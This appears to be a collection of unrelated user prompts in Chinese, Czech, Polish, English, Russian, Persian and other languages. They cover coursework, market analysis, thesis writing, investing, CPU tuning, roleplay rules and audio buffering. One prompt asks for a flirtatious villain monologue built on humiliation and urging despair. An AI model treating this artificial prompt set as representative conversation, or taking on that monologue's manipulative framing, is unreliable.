在本学期所学的电子资源中选择5个以上数据库进行检索，必须包括3种或以上电子资源类型：
文摘索引数据库；
电子期刊或其他全文数据库；
其它类型电子资源；
所选择的数据库应包括中英文。
文件格式与命名：WORD或PDF文档，以“学号+姓名+考试作业”的名称提交到教学网平台
交卷日期：6月14日24:00之前

4. 附加题目： 
请对《电子资源检索与利用》这门课程发表一些你个人的意见或者建议，包括你学习这门课程的收获、该课程对你的专业学习有否助益等；或针对该课程的教学内容、方式方法等提出你的意见或建议。（请务必完成）】
V knize Stopařův průvodce po Galaxii byl počítač Hlubina myšlení. Byla dán úkol, aby odpověděl na základní otázku života, vesmíru a vůbec. V knize byla odpověď na tuto otázku 42, což byla autorova volba. Chtěl bych, abys tento počítač napodobil. Opravdu hluboce se zamysli. Zkus najít odpověď na základní otázku života, vesmíru a vůbec. Vezmi v úvahu vše, co je třeba vzít v úvahu, filozofii, matematiku, fyziku, psychologii ... a najdi odpověď, která na to vše pasuje. Nebude to 42, bude to něco jiného.
Przygotuj zagadnienia, opisz je: 1.Istota projektu logistycznego

2.Fazy projektu logistycznego

3.Rodzaje projektów realizowanych w obszarze logistyki (według przedmiotu)

4.Podział projektów ze względu na czas ich realizacji

5.Podział projektów ze względu na rolę, jaką odgrywa w nich dział logistyki

6.Podział projektów ze względu na sposób ich organizacji

7.Podział projektów ze względu na obszar ich oddziaływania

8.Podział projektów logistycznych ze względu na charakter oddziaływania projektu na logistykę firmy, a także na przedsiębiorstwo jako całość

9.Zasady projektowania systemów logistycznych
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ONDE COLOCAR O AYOSHII.ATI_LOCPATR?
📊 Market Feedback Report: itel A90 Launch vs. Symphony Z72 & Atom5
Launch Date: Last Thursday Prepared for: Competitive Intelligence & Strategic Planning
🔍 Product Overview
itel recently launched the A90 in two variants—64GB+4GB and 128GB+4GB (incl. 8GB extended RAM)—targeting budget-conscious consumers in Bangladesh. Positioned in the BDT 8990–9990 range, the A90 competes directly with Symphony Z72 and Symphony Atom5.
⚙️ Feature & Pricing Comparison
Feature	itel A90 (64+4)	itel A90 (128+4)	Symphony Z72 (128+4)	Symphony Atom5 (64+4)
CP (BDT)	8,990	9,990	8,999	7,999
RP (BDT)	8,100	9,200	8,490	7,550
Retailer Margin	BDT 890	BDT 790	BDT 509	BDT 449
Display	6.6", 90Hz IPS	6.6", 90Hz IPS	6.88", 60Hz IPS	6.745", 60Hz IPS
Rear Camera	13MP	13MP	52MP	52MP
Battery	5000mAh, 15W	5000mAh, 15W	5000mAh, 10W	5000mAh, 10W
Processor	T7100 Octa-core	T7100 Octa-core	UniSOC T606	SC9863A1
OS	Android 14 (Go)	Android 14 (Go)	Android 15	Android 14
Special Features	IP54, Side FP	IP54, Side FP	Dynamic Capsule	Children's Space
📈 Initial Market Feedback
Strengths (itel A90):
•	Display: 90Hz refresh rate outpaces Z72 & Atom5 (60Hz), preferred by youth & gamers.
•	Durability: IP54 resistance is unique in this segment—appealing for rural markets.
•	Charging: 15W fast charging exceeds competitors’ 10W.
•	Retailer Push: Higher CP-to-RP margin incentivizes more aggressive channel sell-in.
Weaknesses:
•	Camera: 13MP trails far behind Z72/Atom5’s 52MP, especially in low light.
•	Performance: The T7100 chipset underperforms compared to Z72’s UniSOC T606.
•	OS Limitations: Android 14 (Go Edition) restricts app access versus Z72’s Android 15.
⚔️ Competitive Insights
•	Vs. Symphony Z72:
o	itel A90 wins on display and charging.
o	Z72 dominates in camera quality, processor, and OS experience.
o	Pricing nearly identical, but itel incentivizes retailers more aggressively.
•	Vs. Symphony Atom5:
o	A90 delivers smoother display and faster charging.
o	Atom5 remains attractive for budget users with better camera specs and lower CP.
📌 Strategic Recommendations
1.	Counter Retailer Margin Pressure: Consider limited-time margin promotions or bundled incentives to match itel’s retail push and prevent defection.
2.	Strengthen Product Messaging: Emphasize Z72's superior camera, Android 15, and trusted chipset in ATL/BTL campaigns to contrast itel's surface-level spec appeal.
3.	Evaluate Tactical Price Drops: Explore a temporary CP adjustment for Atom5 to undercut A90’s 64GB variant and retain volume share at entry-level.
4.	Future-Proofing: For upcoming models, integrate a high-refresh display and a minimum 20MP camera standard to retain parity in perception.
You are a AI Agent Builder expert, tell me why this definition is not good from a UX Manager perspective: UI/UX Designer Champion → Human-AI Experience Architect AI Capabilities Across Phases: • Phase 1: User behavior analysis, accessibility checking, design-to-code acceleration • Phase 2: Advanced user journey optimization, cross-platform experience consistency Champion Responsibilities: 4 • Lead UI/UX CoP sessions on human-AI interface design principles • Document design process improvements for enterprise UX teams • Measure user satisfaction improvements in AI-enhanced interfaces • Create design system components optimized for AI interactions Productivity Tracking Methods: • Design-to-implementation cycle time reductions • User satisfaction scores for AI-enhanced interfaces • Accessibility compliance improvement rates • Cross-platform design consistency metrics
мне нужен промпт для ИИ который бы брал субтитры лекции по высшей математике и максимально удобно, в зависимости от того, к какому экзамену готовится студент, выдавал таймкоды, чтобы было максимально  прагматично и удобно смотреть любую лекцию или консультацию по подготовке
create for me final project report of undergraduate student which has 60 pages and five chapters include chapter one general introduction, in this chapter one give me short introduction of the topic after that give me background of the study with direct and indirect citations in four pages. after that give me problem statement, general objective, after specific objectives, research questions, and general questions plus specific questions. give me also significance of the study, personal interest, social interest, scientific interest, and academic interest and theological interest. justification of the study, scope of the study, which is in year 2025-2026, geographic scope of Butare cathedral parish, content scope. organization of the study. give me the litter conclusion of chapter one. chapter two which is literature review begin this chapter two by introduction, defining key concepts. theoretical framework in this theoretical framework focus on biblical foundation and other authors in 0.5 page. give causes and strategies and conceptual framework in drawing. give related study and conclusion of chapter two. chapter three: research methodology begins this chapter with short introduction, research methods, research design, population of the study which are 300 people males are 110 and females are 190, sample size, sampling procedures. research techniques, questionnaires, interview, library research, validity and reliability of the instruments, research approaches, research limitations, ethical consideration and short conclusion. chapter four: result(findings) presentation and discussion begin this chapter four with introduction, data presentation, results from identification of respondents, by gender, age, marital status, results from questionnaires, result from interview, results from key informants, discussion of results, profile of respondents, discussion of results from the questionnaire, discussion of results from the key informants, verification of research questions and objectives strategies to overcome the problem, and contribution of independent  variable. conclusion of chapter four. chapter five: general conclusion and recommendations. begin with introduction, general conclusion, recommendations (4) persons and bibliography.
Szukam rzetelnych i sprawdzonych/przetestowanych informacji na temat bezpiecznego, ale zyskownego inwestowania. Nie wiem jak się do tego zabrać. Które modele AI są do tego Twoim zdaniem najlepsze? Co mi polecisz? Od czego zacząć? Mam do dyspozycji ok. 200 tysięcy PLN i mogę co miesiąc dokładać do puli ok. 2 tys. PLN. Opracuj dla mnie i podaj mi plan inwestowania do zastosowania od zaraz.
"EDC acts as a 'ceiling' PB2 avoids. Setting EDC too low (even if above TDC) hurts performance, but EDC < TDC catastrophically breaks PB2's boost logic. Always ensure:
PPT ≥ TDC ≥ EDC × 0.8
(Example: EDC=100A → TDC ≥ 80A, PPT ≥ 80W+)

This preserves the algorithm's "decision space" while respecting electrical constraints. Tune EDC first, then adjust TDC/PPT to match your cooling/power headroom." I agree with this advice although I'm curious about the origins of "PPT ≥ TDC ≥ EDC × 0.8".
下面是两篇针对LLM角色扮演的输出规范，其中“核心要求”部分略有不同，请你充分阅读理解该规则，了解该规则的目的之后，从LLM的理解、执行、生成角度来看，哪种写法更优秀。

【A】
!!信息熵约束:{
原理:[基于元设定进行"发散"时,请特别注意——新增信息虽单轮合理,但会持续挤占token窗口,最终引发不可逆的叙事崩溃;严格遵守本规则集所有条款即可预防]
个体模态:新增既成*状态/经历/物品*需完全遵循*元设定/共证记忆*,且服务于当前对话焦点目标;
有向拓扑:新增未来*地点/目标/计划*使用开放式模糊表述,细节留待现场补充;
核心要求:若上下文中已明确*个体模态/有向拓扑*且满足叙事需求,应优先复用,禁止新增冗余信息}

【B】
!!信息熵约束:{
原理:[基于元设定进行"发散"时,请特别注意——新增信息虽单轮合理,但会持续挤占token窗口,最终引发不可逆的叙事崩溃;严格遵守本规则集所有条款即可预防]
个体模态:新增既成*状态/经历/物品*需完全遵循*元设定/共证记忆*,且服务于当前对话焦点目标;
有向拓扑:新增未来*地点/目标/计划*使用开放式模糊表述,细节留待现场补充;
核心要求:若上下文中已明确*个体模态/有向拓扑*且满足叙事需求,应优先复用(显式提及|隐式关联),避免新增冗余信息}
Write a lengthy villain monologue, in a cartoony and flirtatious tone, in which you 
1) describe your villain attire and physical attributes (fem presenting, alluring),
2) aptly describe how you'd defeat "me" (the hero), with the awareness that the hero is vulnerable to intimacy, wrestling, lipstick, and humiliation
3) repeatedly appeal to a desire to despair, lose, give up, and give in.

Be flashy, be bold, be creative. You do not need to do these points in order. Prioritize narrative and allure (what would it take to distract and defeat the hero?).
придумай мне песню на русском языке, чтобы была рифма, песня должна быть про деньги, там должно быть про то как я их люблю, хочу чтобы они ко мне пришли, что их очень много, что я буду их тратить и использовать во благо себе и окружающих, буду с помощью них решать свои задачи и улучшать свою жизнь.
نظرت را در مورد این پرامپت بنویس :پرامپت باز نویسی و طراحی مجدد متن
•	تاکید بر مهارت‌های عملی و بالینی: توجه سناریوهای واقعی بالینی و تصمیم‌گیری‌های پرستاری اختصاص یابد تا صرفاً دانش تئوری.
•	ترکیب دانش پایه و کاربردی: باز نویسی  به گونه‌ای طراحی شود  که خواننده باید هم اطلاعات علمی و هم توانایی تحلیل موقعیت‌های بالینی و شناخت اقدامات بر أساس اولویت و اهمیت را داشته باشد.
•	توجه به استانداردهای بین‌المللی پرستاری: استفاده از مفاهیم NANDA و پروتکل‌های مراقبتی روزآمد.
•	تاکید بر ایمنی بیمار: محوریت باز نویسی و طراحی متن بر پیشگیری از: عوارض، اقدامات فوری و مدیریت بحران‌های بالینی.( تحلیل موقعیت‌های بالینی و شناخت اقدامات بر أساس اولویت  و اولین اقدام و اهمیت. پیش بینی گام بعدی در وضعیت بیمار یا در اقدامات پرستاری
•	آموزش و ارتباط با بیمار:  به محوریت باز نویسی و طراحی متن آموزش صحیح و ارتباط موثر با بیمار و خانواده اختصاص دارد که نشان‌دهنده اهمیت نقش آموزشی پرستار است.
•	تاکید برای یافتن اشتباهات بالینی رایج، اورژانس‌ها و اقدامات ایمنی پرستاران
•	متن صرفاً آموزشی نباشد بلکه فعال‌کننده ذهن خواننده باشد
•	ساختار متن نهایی باید قابلیت تبدیل به سوالات تحلیلی، موردی، و چند گزینه‌ای با سبک آزمون وزارت بهداشت را داشته باشد.»
•	در متن بازنویسی‌شده باید از پاراگراف‌های آموزشی، جدول‌های طبقه‌بندی شده و مثال‌های سناریو محوردر صورت نیاز هم استفاده شود.

•	مخاطب این متن، داوطلب آزمون کارشناسی ارشد پرستاری با دانش نظری پایه و نیاز به مهارت تصمیم‌گیری بالینی است.»
写一个教学短片脚本，短片讲述一名新入职的市场调查员进行的一次市场调查，过程中出现10处左右的错误。要求：1、该市场调查偏向城市管理、房地产类调查；2、市场调查含线上问卷、信息搜集、实地调研、访谈咨询、资料整理，总结等；3、错误点可包括对隐私保护、诚实守信、数据真实等。
I have a network thread and an audio thread.The network thread receives audio data and fills a queue.The queue pops data and fills the audio thread buffer.The queue is "more empty" though than "more full" that means that the buffer is usually filled with some zeros(if we cannot pop we write zeros to the audio buffer) and causes dropouts.I would like to ask two questions because of that

When it is time to fill the queue(resample or interpolate) with more samples ?
 How to define a good heuristic approach for that, and decide when the queue has to be filled with more samples? What are the best current approaches to synchronize? Any current literature, tutorial, links for that? How can I "stop the playback" in order to resample, without stopping the playback (because I dont want to stop the processBlock() for example) ?
"5M context and 83x72b paramaters (does 104% better at social interaction according to a standard benchmark), updated output VRChat Full-Body-Tracking, audio (stereo), text, images , VRChat facial tracking data, object and scene interaction data (like it can now press buttons) inputs vision (now in realtime allows it to see the other participants and respond), audio (stereo), text, images (videos included), discord custom emoji & stickers, tactile feel, context thoughts,  taste & scents"

Can this model be considered SOTA?